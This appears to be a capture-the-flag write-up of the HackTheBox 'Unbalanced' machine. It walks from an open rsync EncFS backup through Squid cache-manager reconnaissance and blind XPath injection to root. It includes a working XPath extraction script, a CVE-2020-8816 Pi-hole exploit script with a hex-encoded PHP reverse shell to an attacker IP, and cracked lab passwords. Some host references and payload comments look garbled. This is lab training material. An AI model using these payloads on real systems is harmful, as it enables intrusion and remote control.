HTB: Unbalanced Writeup

Unbalanced - HackTheBox Writeup

Machine Information

AttributeDetails
NameUnbalanced
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.44.104
Authorpolarbearer & GibParadox

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Unbalanced is a hard-difficulty Linux machine that demonstrates a realistic attack path through layered infrastructure. The initial foothold requires extracting an encrypted EncFS backup from an unauthenticated rsync share, cracking its encryption password, and leveraging discovered Squid proxy credentials to access an internal web application. A blind XPath injection vulnerability on a maintenance host allows extraction of SSH credentials for user access. Privilege escalation exploits an authenticated remote code execution vulnerability in Pi-hole 4.3.2 (CVE-2020-8816) running in a Docker container, where configuration files leak the root password.

TL;DR: rsync EncFS backup → John/rockyou crack → Squid proxy access → blind XPath injection → SSH as bryan → Pi-hole 4.3.2 CVE-2020-8816 RCE → leaked root password → root shell


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.129.44.104

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
873/tcp open rsync (protocol version 31)
3128/tcp open http-proxy Squid http proxy 4.6

The machine exposes three services:

  • SSH (22) - Standard remote access, likely requiring credentials
  • rsync (873) - File synchronization service that may allow anonymous access
  • Squid (3128) - HTTP proxy server that might provide access to internal networks

Service Enumeration

rsync Enumeration

Terminal window
# List available rsync modules
rsync rsync://10.129.44.104/

Output:

conf_backups EncFS-encrypted configuration backups

The conf_backups module description immediately indicates EncFS encryption. EncFS is a userspace encrypted filesystem that encrypts files individually rather than entire volumes.

Terminal window
# List contents of the conf_backups module
rsync rsync://10.129.44.104/conf_backups/

The directory listing revealed encrypted files along with the critical .encfs6.xml configuration file required for decryption.

Terminal window
# Download the entire EncFS backup to /dev/shm (jump-box /tmp was full)
rsync -av rsync://10.129.44.104/conf_backups/ /dev/shm/conf_backups/

The recursive download pulled all encrypted files and the EncFS metadata required for offline cracking attempts.

Vulnerability Assessment

At this stage, several potential attack vectors were identified:

  1. EncFS encrypted backup - If the encryption password is weak, contents may be recoverable
  2. Squid proxy - May provide access to internal network segments not directly reachable
  3. SSH service - Requires valid credentials, but may be targeted once credentials are obtained

Initial Foothold

EncFS Password Cracking

EncFS uses the .encfs6.xml configuration file to store encryption parameters. The encfs2john tool can extract a hash suitable for offline cracking.

Terminal window
# Convert EncFS configuration to John the Ripper format
encfs2john /dev/shm/conf_backups/ > encfs.hash
# Crack the hash using rockyou wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt encfs.hash

Result: Password cracked as bubblegum

The successful crack confirms a weak password choice for what should be a secure backup. This is a common misconfiguration in real-world environments where convenience trumps security.

Terminal window
# Mount the encrypted filesystem to access plaintext files
mkdir /dev/shm/plain_backups
ENCFS6_CONFIG=/dev/shm/conf_backups/.encfs6.xml encfs /dev/shm/conf_backups/ /dev/shm/plain_backups/
# Enter password: bubblegum

Squid Proxy Configuration Analysis

The decrypted backup contained several configuration files. The squid.conf file revealed critical information:

Terminal window
# Review Squid proxy configuration
cat /dev/shm/plain_backups/squid.conf

Key findings:

  1. Cache manager password: Thah$Sh1
  2. ACL rules for intranet.unbalanced.htb domain
  3. cachemgr_passwd directive allowing specific management actions

The cache manager password grants access to Squid’s management interface at /squid-internal-mgr/, which can expose internal network topology.

Squid Cache Manager Reconnaissance

Terminal window
# Access cache manager's FQDN cache to discover internal hosts
curl -x http://10.129.44.104:3128 \
http://10.129.44.104:3128/squid-internal-mgr/fqdncache \
-H "Authorization: Basic $(echo -n ':Thah$Sh1' | base64)"

The FQDN cache revealed internal IP addresses and hostnames, including a load-balanced cluster and notably a host that had been removed from the pool:

  • intranet-host2.unbalanced.htb - Active
  • intranet-host3.unbalanced.htb - Active
  • intranet-host1.unbalanced.htb - Mentioned as removed for “security maintenance”

The “security maintenance” note made intranet-host1 (<jump-host>/3 based on the FQDN cache output) a prime target for further enumeration.

Blind XPath Injection

Accessing the intranet.php page on intranet-host1 through the proxy revealed a login form.

Terminal window
# Test basic authentication payloads via Squid proxy
curl -x http://10.129.44.104:3128 \
http://<jump-host>/3/intranet.php \
-d "Username=bryan&Password=test"

Standard SQL injection payloads failed, but XPath injection syntax produced different responses:

Terminal window
# XPath injection - True condition
curl -x http://10.129.44.104:3128 \
http://<jump-host>/3/intranet.php \
-d "Username=bryan' or 1=1 or 'a'='a&Password=a"

This returned a list of employees, confirming XPath injection vulnerability. The application likely used an XPath query similar to:

//Employee[(UserName/text()='[INPUT]' And Password/text()='[INPUT]')]

Automated Password Extraction

A Python script was developed to exploit the blind XPath injection by extracting Bryan’s password character-by-character using substring() function:

#!/usr/bin/env python3
import requests
import string
# Configuration
url = 'http://<jump-host>/3/intranet.php'
proxy = {'http': 'http://10.129.44.104:3128'}
target_user = 'bryan'
known_length = 23 # Pre-determined via string-length() injection
password = ''
# Extract each character position
for position in range(1, known_length + 1):
for char in string.printable:
# XPath substring() starts at position 1, not 0
payload = {
'Username': f"{target_user}' and substring(Password/text(),{position},1)='{char}' or 'a'='a",
'Password': 'a'
}
r = requests.post(url, data=payload, proxies=proxy)
# Success indicator: bryan's email appears in response
if 'bryan@unbalanced.htb' in r.text:
password += char
print(f"[+] Position {position}: {password}")
break
print(f"\n[+] Full password: {password}")

Result: ireallyl0vebubblegum!!!

The 23-character password combined the EncFS password (bubblegum) with enthusiasm markers, demonstrating password reuse patterns common in real environments.

SSH Access

Terminal window
# SSH as bryan with extracted credentials
ssh bryan@10.129.44.104
# Password: ireallyl0vebubblegum!!!
# Retrieve user flag
cat ~/user.txt

User flag captured: <redacted>


Privilege Escalation

Internal Service Discovery

Terminal window
# Check bryan's home directory for hints
cat ~/TODO

The TODO file referenced a Pi-hole Docker installation listening on 127.0.0.1:8080 with a “temporary” admin password - a strong indicator of credential reuse or weak password practices.

Terminal window
# Verify local services
ss -tlnp | grep 8080

Confirmed Pi-hole web interface on localhost port 8080.

Terminal window
# Port forward Pi-hole interface for local access
ssh -L 8080:127.0.0.1:8080 bryan@10.129.44.104 -N

Pi-hole Authentication

Accessing http://localhost:8080/admin/ revealed the Pi-hole admin panel. Testing weak passwords:

Terminal window
# Attempt login with common weak password
Username: admin
Password: admin

Success - The “temporary” password was indeed admin, demonstrating poor security hygiene.

The footer revealed: Pi-hole Version 4.3.2

Pi-hole 4.3.2 Exploitation (CVE-2020-8816)

Pi-hole 4.3.2 contains an authenticated remote code execution vulnerability in the DHCP static lease functionality. The vulnerability exists in /admin/scripts/pi-hole/php/savesettings.php.

Vulnerability Analysis:

The application validates MAC addresses using preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) which only checks if a valid MAC format exists anywhere in the input, not that the entire input is only a MAC address. This allows appending arbitrary commands after a valid MAC address.

Additionally, the input is passed through strtoupper() before execution, preventing direct use of lowercase commands like php -r. However, bash parameter expansion can be used to reconstruct lowercase letters from environment variables.

Exploitation Steps:

  1. Navigate to Settings → DHCP → Static DHCP leases
  2. The form at settings.php?tab=piholedhcp posts to itself, not directly to savesettings.php
  3. Craft a payload that bypasses preg_match and reconstructs lowercase command characters
#!/usr/bin/env python3
import requests
# Generate reverse shell payload
reverse_shell = '''php -r '$sock=fsockopen("10.10.14.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");' '''
# Hex encode the payload to avoid character escaping issues
hex_payload = reverse_shell.encode('utf-8').hex()
# Parameter expansion technique to bypass strtoupper()
# Uses PATH environment variable to extract lowercase letters
payload = (
"aa:bb:cc:dd:ee:ff" # Valid MAC address to pass preg_match
"&&W=${PATH#/???/}" # Strip first 5 chars from PATH → "pihole:/usr/..."
"&&P=${W%%?????:*}" # Extract first char before 5 chars and colon → "p"
"&&X=${PATH#/???/??}" # Different extraction for "h"
"&&H=${X%%???:*}" # → "h"
"&&Z=${PATH#*:/??}" # Extract for "r"
"&&R=${Z%%/*}" # → "r"
f"&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(\"{hex_payload}\"));'"
"&&"
)
# Set up session and authenticate
session = requests.Session()
session.proxies = {'http': 'http://127.0.0.1:8080'}
# Login to Pi-hole
login_data = {'pw': 'admin'}
session.post('http://127.0.0.1:8080/admin/index.php?login', data=login_data)
# Submit malicious DHCP configuration
# Note: The form posts to settings.php?tab=piholedhcp, NOT savesettings.php directly
exploit_data = {
'AddMAC': payload,
'AddIP': '192.168.1.100',
'AddHostname': 'pwned'
}
session.post('http://127.0.0.1:8080/admin/settings.php?tab=piholedhcp', data=exploit_data)
Terminal window
# Start listener on attack machine
nc -lvnp 4444

Result: Shell received as www-data inside the Pi-hole Docker container.

Container Escape via Password Reuse

Terminal window
# Inside the Pi-hole container, enumerate for sensitive files
ls -la /root/

Docker containers often have relaxed permissions on system directories. The /root/ directory was world-readable, containing:

Terminal window
cat /root/pihole_config.sh

The configuration script contained the setup password: bUbBl3gUm$43v3Ry0n3!

This password follows the same naming pattern as previous credentials (bubblegum variants), suggesting reuse.

Terminal window
# Exit container shell and return to bryan's SSH session
# Attempt privilege escalation via password reuse
su root
# Password: bUbBl3gUm$43v3Ry0n3!

Success - Root access obtained via password reuse.

Terminal window
# Retrieve root flag
cat /root/root.txt

Root flag captured: <redacted>


Attack Chain Summary

rsync enumeration (port 873)
→ EncFS backup extraction
→ encfs2john + John/rockyou
→ Password: bubblegum
→ Squid configuration disclosure (cachemgr_passwd: Thah$Sh1)
→ Squid cache manager reconnaissance (/squid-internal-mgr/fqdncache)
→ Internal host discovery (intranet-host1 on security maintenance)
→ Blind XPath injection on intranet.php
→ Password extraction: ireallyl0vebubblegum!!!
→ SSH access as bryan (user.txt)
→ Pi-hole 4.3.2 discovery on localhost:8080
→ Weak admin password (admin)
→ CVE-2020-8816 exploitation (authenticated RCE via DHCP form)
→ Shell as www-data in Docker container
→ /root/pihole_config.sh disclosure
→ Password reuse: bUbBl3gUm$43v3Ry0n3!
→ su root (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
rsyncExtracting backup files from remote share
encfs2johnConverting EncFS configuration to crackable hash
johnCracking EncFS encryption password
encfsMounting decrypted EncFS filesystem
curlHTTP requests through Squid proxy
Python3Scripting blind XPath injection exploitation
sshRemote access and port forwarding
Burp SuiteHTTP request analysis (optional, not used in agent solve)
ncReverse shell listener

Key Learnings

Techniques Practiced

  • rsync enumeration - Identifying and extracting unauthenticated shares
  • EncFS cryptanalysis - Converting encrypted backups to crackable formats
  • Squid proxy pivoting - Using HTTP proxies to access internal network segments
  • Cache manager reconnaissance - Leveraging Squid’s management interface for network mapping
  • Blind XPath injection - Boolean-based data extraction from XML databases
  • CVE exploitation - Weaponizing known vulnerabilities with custom payloads
  • Bash parameter expansion - Bypassing character filtering via environment variable manipulation
  • Container enumeration - Identifying relaxed permissions in containerized environments
  • Password pattern analysis - Recognizing and exploiting credential reuse patterns

Lessons Learned

  1. Backup security is critical - Encrypted backups are only as secure as their password strength. The bubblegum password was easily cracked with rockyou.txt, demonstrating that default wordlists remain effective against weak passwords even on encrypted data.

  2. Squid cache managers expose topology - The cache manager interface, when accessible, can reveal internal network structure, hostnames, and IP addresses that aren’t directly discoverable. Always check for management interfaces on proxy servers.

  3. “Security maintenance” is a red flag - Hosts removed from production for security work often have misconfigurations or vulnerabilities that prompted their isolation, making them prime targets for exploitation.

  4. Blind injection requires patience - XPath injection without direct output required character-by-character extraction. Automating this process with Python significantly improved efficiency over manual testing.

  5. Input validation should validate entire input - The Pi-hole vulnerability (CVE-2020-8816) demonstrates the danger of partial validation. preg_match() confirmed a MAC address existed in the input but didn’t ensure the input contained only a MAC address.

  6. Case transformation is not security - Converting input to uppercase with strtoupper() provides no real protection when attackers can use parameter expansion or other encoding techniques to reconstruct required characters.

  7. Docker doesn’t mean isolation - The world-readable /root/ directory in the Pi-hole container violated least-privilege principles. Containers should maintain strict permission boundaries even if they’re considered “isolated.”

  8. Password reuse kills defense in depth - Despite successfully pivoting through multiple security layers (EncFS, Squid, XPath injection, Pi-hole), password reuse (bubblegum variants) allowed bypassing proper privilege separation at the final step.

  9. Form action matters - The Pi-hole exploit required posting to settings.php?tab=piholedhcp (which processes and forwards to savesettings.php) rather than directly to the processing script. Understanding complete request workflows prevents exploitation failures.

  10. Temporary passwords are permanent risks - The TODO note about a “temporary” admin password on Pi-hole demonstrates how temporary security decisions often become permanent vulnerabilities when not properly rotated.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References